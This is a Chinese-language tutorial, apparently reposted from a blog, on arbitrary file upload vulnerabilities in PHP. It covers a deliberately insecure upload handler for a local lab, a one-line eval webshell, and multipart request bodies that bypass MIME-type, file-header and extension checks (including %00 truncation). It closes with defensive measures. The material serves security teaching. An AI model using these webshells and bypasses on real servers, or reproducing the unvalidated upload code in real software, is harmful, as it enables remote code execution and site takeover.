3、任意文件上传漏洞
2024-01-08 18:33:12
1、概述
定义:?文件上传漏洞( Unrestricted File Upload)网站上传功能过滤不严格,导致用户可通过上传文
件对系统造成危害。
上传服务端可解析的脚本文件造成远程代码执行、上传超大文件造成拒绝服务、上传Html文件引发XSS等。
分类:?Web通用漏洞
风险等级:?严重/中危
危害:上传文件Getshell/上传HTML文件实现XSS攻击、上传超大文件引发拒绝服务等
2、漏洞原理+利用
漏洞示例:
在本地的phpstudy中搭建一个简单的靶场
<html>
<form action="http://127.0.0.1/upload.php"
method="POST" enctype="multipart/form-data">
<input name="a" type="file"></input>
<input name="b" ></input>
<input type="submit"></input>
</form>
</html>
<?php
var_dump($_POST['b']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"
./upload/" . $_FILES["a"]["name"]);
?>
需要在同目录下创建一个upload文件夹
漏洞利用:
上传一个一句话木马,然后用蚁剑远程连接。
<?php eval($_POST['1'])?>
- 通过上传GetShell。对于服务器直接支持解析的文件格式,只需要上传该后缀的文件即可。这种
情况下的漏洞也被称作任意文件上传。
- 通过上传实现XSS攻击。上传HTML文件时,在其中插入XSS代码实现XSS攻击。
- 通过上传实现服务器拒绝服务。上传超大文件,或当服务器自动执行解压操作时,上传畸形的压
缩包文件实现拒绝服务。
文件上传+环境解析 = WebShell
文件上传+任意路径控制 = 文件覆盖(WebShell)
文件上传 - 环境解析 - 路径控制 = XSS
文件上传-环境解析+无大小限制=拒绝服务
3、漏洞绕过
文件类型限制:
<?php
if($_FILES['a']['type'] != "image/gif")
{
die("Sorry,we only allow uploading GIF images");
}
?>
绕过:
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"; filename="filename.php"
Content-Type: text/php image/gif
file_content <?php eval($_GET['a'])?>
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
文件头限制:
<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$filename = '1.php';
echo finfo_file($finfo,$filename);
?>
绕过:
添加一个GIF(也就是可以上传到服务器上的文件类型)的文件头就可以。
47494638 39613804 A005F700 00000000 | GIF89a8
0509080A 09050B0C 0B120E0D 0E0F100F |
11101211 0E131313 1A151316 16191719 |
文件后缀追加限制:
<?php
var_dump($_POST['a']);
var_dump($_FILES);
move_uploaded_file($_FILES["a"]["tmp_name"],"./upload" .$_POST['a'].'.jpg');
?>
绕过:
使用%00截断。 要求:PHP版本 < 5.3.4
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
Content-Disposition: form-data; name="a"
1.php0x00
------WebKitFormBoundaryU1lrzLiplUyRrlHJ
条件竞争:?恶意文件上传后被检测到立马被删除,攻击者在他被删除前使用自动化工具快速频繁的请求该文件。
4、漏洞挖掘
一般都在可以上传文件的位置,像上传头像照片等。
5、漏洞防御
1.严格限制上传文件后缀
2.对于无法限制文件后缀的情况,可以严格限制上传目录(防御../跳出目录),
同时将该目录设置为不可解析(octet-stream)。将其他目录设置为不可写入。
3.使用分站存储上传文件,分站不开启脚本资源解析。
文章来源:https://blog.csdn.net/m0_74152774/article/details/135434575
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!